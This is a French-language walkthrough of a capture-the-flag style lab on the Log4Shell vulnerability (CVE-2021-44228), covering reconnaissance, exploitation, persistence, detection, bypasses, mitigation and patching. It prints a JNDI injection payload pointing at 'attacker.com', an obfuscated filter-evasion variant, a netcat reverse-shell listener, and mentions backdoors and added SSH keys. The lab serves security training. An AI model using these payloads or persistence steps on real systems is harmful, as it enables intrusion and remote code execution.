
Cette salle est basée sur l'exploitation de la tristement célèbre vulnérabilité Log4j ( CVE-2021-44228), également appelée Log4Shell. Cette faille permet aux attaquants d'exécuter du code à distance via l'injection de payloads malveillants dans les messages de journalisation.
Cette salle est basée sur l'exploitation de la fameuse vulnérabilité Log4j (CVE-2021-44228), également appelée Log4Shell. Cette faiblesse permet aux attaquants d'exécuter du code à distance en injectant des charges malveillantes dans les messages de journalisation.
TÂCHE 1 – INTRODUCTION À CVE-2021-44228
Dans cette tâche, j'ai appris la vulnérabilité Log4Shell (CVE-2021-44228) dans Apache Log4j. • Log4j est une bibliothèque de journalisation Java largement utilisée. • La vulnérabilité permet l'exécution de code à distance (RCE) via des recherches JNDI. • Les attaquants peuvent injecter des charges utiles comme : ${jndi:ldap://attacker.com/a} • Une fois journalisée, le serveur contacte le serveur contrôlé par l'attaquant et exécute un code malveillant. 👉 Cela a montré à quel point il est dangereux de journaliser les entrées utilisateur sans les assainir.
TÂCHE 2 – RECONNAISSANCE
Ici, j'ai commencé à interagir avec le système cible. • Accédé à l'application web. • Identifié les champs de saisie et les en-têtes susceptibles d'être journalisés. • Observé comment l'application traite les entrées utilisateur. 👉 Objectif : trouver où Log4j est utilisé et où des charges utiles peuvent être injectées.
TÂCHE 3 – DÉCOUVERTE
Dans cette étape, j'ai confirmé la vulnérabilité. • Testé l'injection de charges utiles dans des en-têtes comme : • User-Agent • X-Forwarded-For • Vérifié les connexions sortantes ou les réponses. 👉 Cela a permis de vérifier que l'application est vulnérable à Log4Shell.
TÂCHE 4 – PREUVE DE CONCEPT
J'ai créé une preuve de concept fonctionnelle pour démontrer la vulnérabilité. • Configuré un écouteur/serveur pour détecter les rappels. • Injecté une charge utile JNDI. • Observé que la cible a effectué une requête vers mon serveur. 👉 Cela a confirmé l'interaction à distance → la vulnérabilité est exploitable.
TÂCHE 5 – EXPLOITATION
Ici, je suis passé de la preuve de concept à l'exploitation complète. • Hébergé une charge utile malveillante (classe Java ou script). • Utilisé l'injection JNDI pour forcer le serveur à la charger. • Obtenu un shell inversé. Exemple : nc -lvnp 4444 👉 Exécution de code à distance réussie.
TÂCHE 6 – PERSISTANCE
Après avoir obtenu l'accès, j'ai assuré un accès continu. • Créé des portes dérobées ou ajouté des clés SSH. • Modifié les configurations système si nécessaire. 👉 Cela garantit l'accès même après un redémarrage ou une perte de session.
TÂCHE 7 – DÉTECTION
Cette tâche était axée sur l'identification des attaques. • Appris comment les exploits Log4j apparaissent dans les journaux. • Indicateurs : • Modèles ${jndi:ldap://...} • Trafic LDAP/DNS sortant suspect 👉 Important pour les équipes bleues afin de détecter les tentatives d'exploitation.
TÂCHE 8 – CONTOURNEMENTS
Ici, j'ai exploré comment les attaquants contournent les filtres. • Techniques d'obfuscation : ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • Encodage des charges utiles pour échapper à la détection. 👉 Montre qu'un simple filtrage ne suffit pas.
TÂCHE 9 – ATTÉNUATION
J'ai appris comment réduire le risque sans correctif complet. • Désactiver les recherches JNDI • Restreindre les connexions réseau sortantes • Utiliser des règles WAF 👉 Défenses temporaires avant un correctif approprié.
TÂCHE 10 – CORRECTIFS
Axé sur les correctifs permanents. • Mettre à jour Log4j vers : • 2.17.0 ou version ultérieure • Supprimer les classes vulnérables : JndiLookup.class 👉 Un correctif approprié élimine complètement la vulnérabilité.
TÂCHE 11 – CRÉDITS ET NOTES DE L'AUTEUR
• Remerciements aux créateurs de la salle. • Résumé des objectifs d'apprentissage. • Réflexions finales sur l'impact de Log4Shell.
RÉFLEXIONS FINALES
Cette salle m'a donné une compréhension complète de : • Comment fonctionne une vulnérabilité critique réelle • Comment les attaquants l'exploitent étape par étape • Comment les défenseurs la détectent et la préviennent 👉 C'était une excellente expérience pratique avec l'une des vulnérabilités les plus marquantes de l'histoire de la cybersécurité.